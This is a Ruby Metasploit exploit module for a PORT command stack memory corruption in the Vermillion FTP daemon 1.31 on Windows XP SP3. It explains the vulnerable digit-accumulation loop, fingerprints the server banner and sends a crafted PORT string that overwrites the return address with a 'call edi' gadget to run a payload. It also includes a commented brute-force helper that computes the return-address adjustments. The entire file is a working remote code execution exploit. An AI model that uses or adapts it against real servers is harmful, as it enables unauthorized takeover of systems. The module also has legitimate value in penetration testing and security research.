Vermillion FTP Daemon PORT Command Memory Corruption



##

# $Id: vermillion_ftpd_port.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GreatRanking

    include Msf::Exploit::Remote::Ftp

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Vermillion FTP Daemon PORT Command Memory Corruption',
            'Description'    => %q{
                    This module exploits an out-of-bounds array access in the Arcane Software
                Vermillion FTP server. By sending an specially crafted FTP PORT command,
                an attacker can corrupt stack memory and execute arbitrary code.

                This particular issue is caused by processing data bound by attacker
                controlled input while writing into a 4 byte stack buffer. Unfortunately,
                the writing that occurs is not a simple byte copy.

                Processing is done using a source ptr (p) and a destination pointer (q).
                The vulnerable function walks the input string and continues while the
                source byte is non-null. If a comma is encountered, the function increments
                the the destination pointer. If an ascii digit [0-9] is encountered, the
                following occurs:

                    *q = (*q * 10) + (*p - '0');

                All other input characters are ignored in this loop.

                As a consequence, an attacker must craft input such that modifications
                to the current values on the stack result in usable values. In this exploit,
                the low two bytes of the return address are adjusted to point at the
                location of a 'call edi' instruction within the binary. This was chosen
                since 'edi' points at the source buffer when the function returns.

                NOTE: This server can be installed as a service using "vftpd.exe install".
                If so, the service does not restart automatically, giving an attacker only
                one attempt.
            },
            'Author'         =>
                [
                    'jduck'   # metasploit module
                ],
            'Version'        => '$Revision: 10394 $',
            'References'     =>
                [
                    [ 'OSVDB', '62163' ],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11293' ],
                    [ 'URL', 'http://www.global-evolution.info/news/files/vftpd/vftpd.txt' ]
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process'
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    # format string max length
                    'Space'    => 1024,
                    'BadChars' => "\x00\x08\x0a\x0d\x2c\xff",
                    'DisableNops'    =>  'True'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    #
                    # Automatic targeting via fingerprinting
                    #
                    [ 'Automatic Targeting', { 'auto' => true }  ],

                    #
                    # specific targets
                    #
                    [    'vftpd 1.31 - Windows XP SP3 English',
                        {
                            # call edi in vftpd.exe (v1.31)
                            'OldRet' => 0x405a73, # not used directly
                            'Ret'     => 0x4058e3, # not used directly
                            'Offset' => 16,       # distance to saved return
                            'Adders' => "171,48"  # adjust the bottom two bytes
                        }
                    ]
                ],
            'DisclosureDate' => 'Sep 23 2009',
            'DefaultTarget'  => 0))

        register_options(
            [
                Opt::RPORT(21),
            ], self.class )
    end


    def check
        connect
        disconnect
        print_status("FTP Banner: #{banner}".strip)
        if banner =~ /\(vftpd .*\)/
            return Exploit::CheckCode::Appears
        end
        return Exploit::CheckCode::Safe
    end


    def exploit

        # Use a copy of the target
        mytarget = target

        if (target['auto'])
            mytarget = nil

            print_status("Automatically detecting the target...")
            connect
            disconnect

            if (banner and (m = banner.match(/\(vftpd (.*)\)/))) then
                print_status("FTP Banner: #{banner.strip}")
                version = m[1]
            else
                print_status("No matching target")
                return
            end

            self.targets.each do |t|
                if (t.name =~ /#{version} - /) then
                    mytarget = t
                    break
                end
            end

            if (not mytarget)
                print_status("No matching target")
                return
            end

            print_status("Selected Target: #{mytarget.name}")
        else
            print_status("Trying target #{mytarget.name}...")
        end


        connect

        stuff = payload.encoded
        # skip 16 bytes
        stuff << "," * mytarget['Offset']
        # now we change the return address to be what we want
        stuff << mytarget['Adders']

        if (res = send_cmd(['PORT', stuff]))
            print_status(res.strip)
        end

        disconnect
        handler

    end

end


=begin

NOTE: the following code was used to obtain the "Adders" target value.
I'm not extremely pleased with this solution, but I haven't come up with
a more elegant one...

=========================
#!/usr/bin/env ruby
#
# usage: ./find_adder.rb <old ret> <new ret>
# example: ./find_adder.rb 0x405a73 0x004058e3
#

$old_ret = ARGV.shift.to_i(16)
$new_ret = ARGV.shift.to_i(16)

oret = [$old_ret].pack('V').unpack('C*')
nret = [$new_ret].pack('V').unpack('C*')


def process_idx(oret, nret, adders, idx)
    new_val = oret[idx]
    digits = adders[idx].to_s.unpack('C*')
    digits.each { |dig|
        dig -= 0x30
        new_val = (new_val * 10) + dig
    }
    return (new_val & 0xff)
end


# brute force approach!
final_adders = [ nil, nil, nil, nil ]

adders = []
4.times { |idx|
    next if (oret[idx] == nret[idx])
    10.times { |x|
        10.times { |y|
            10.times { |z|
                adders[idx] = (x.to_s + y.to_s + z.to_s).to_i

                val = process_idx(oret, nret, adders, idx)
                if (val == nret[idx])
                    final_adders[idx] = adders[idx]
                end

                break if (final_adders[idx])
            }
            break if (final_adders[idx])
        }
        break if (final_adders[idx])
    }
}


# check/print the solution
eret = []
4.times { |idx|
    eret << process_idx(oret, nret, adders, idx)
}
final = eret.pack('C*').unpack('V')[0]
if (final == $new_ret)
    puts final_adders.join(',')
    exit(0)
end

puts "unable to find a valid solution!"
exit(1)

=end